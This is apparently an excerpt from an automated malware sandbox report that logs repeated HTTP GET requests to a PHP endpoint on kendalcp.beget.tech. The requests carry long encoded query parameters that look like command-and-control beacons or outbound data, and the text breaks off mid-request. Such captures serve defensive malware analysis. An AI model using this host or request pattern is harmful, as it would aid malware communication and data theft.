/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYm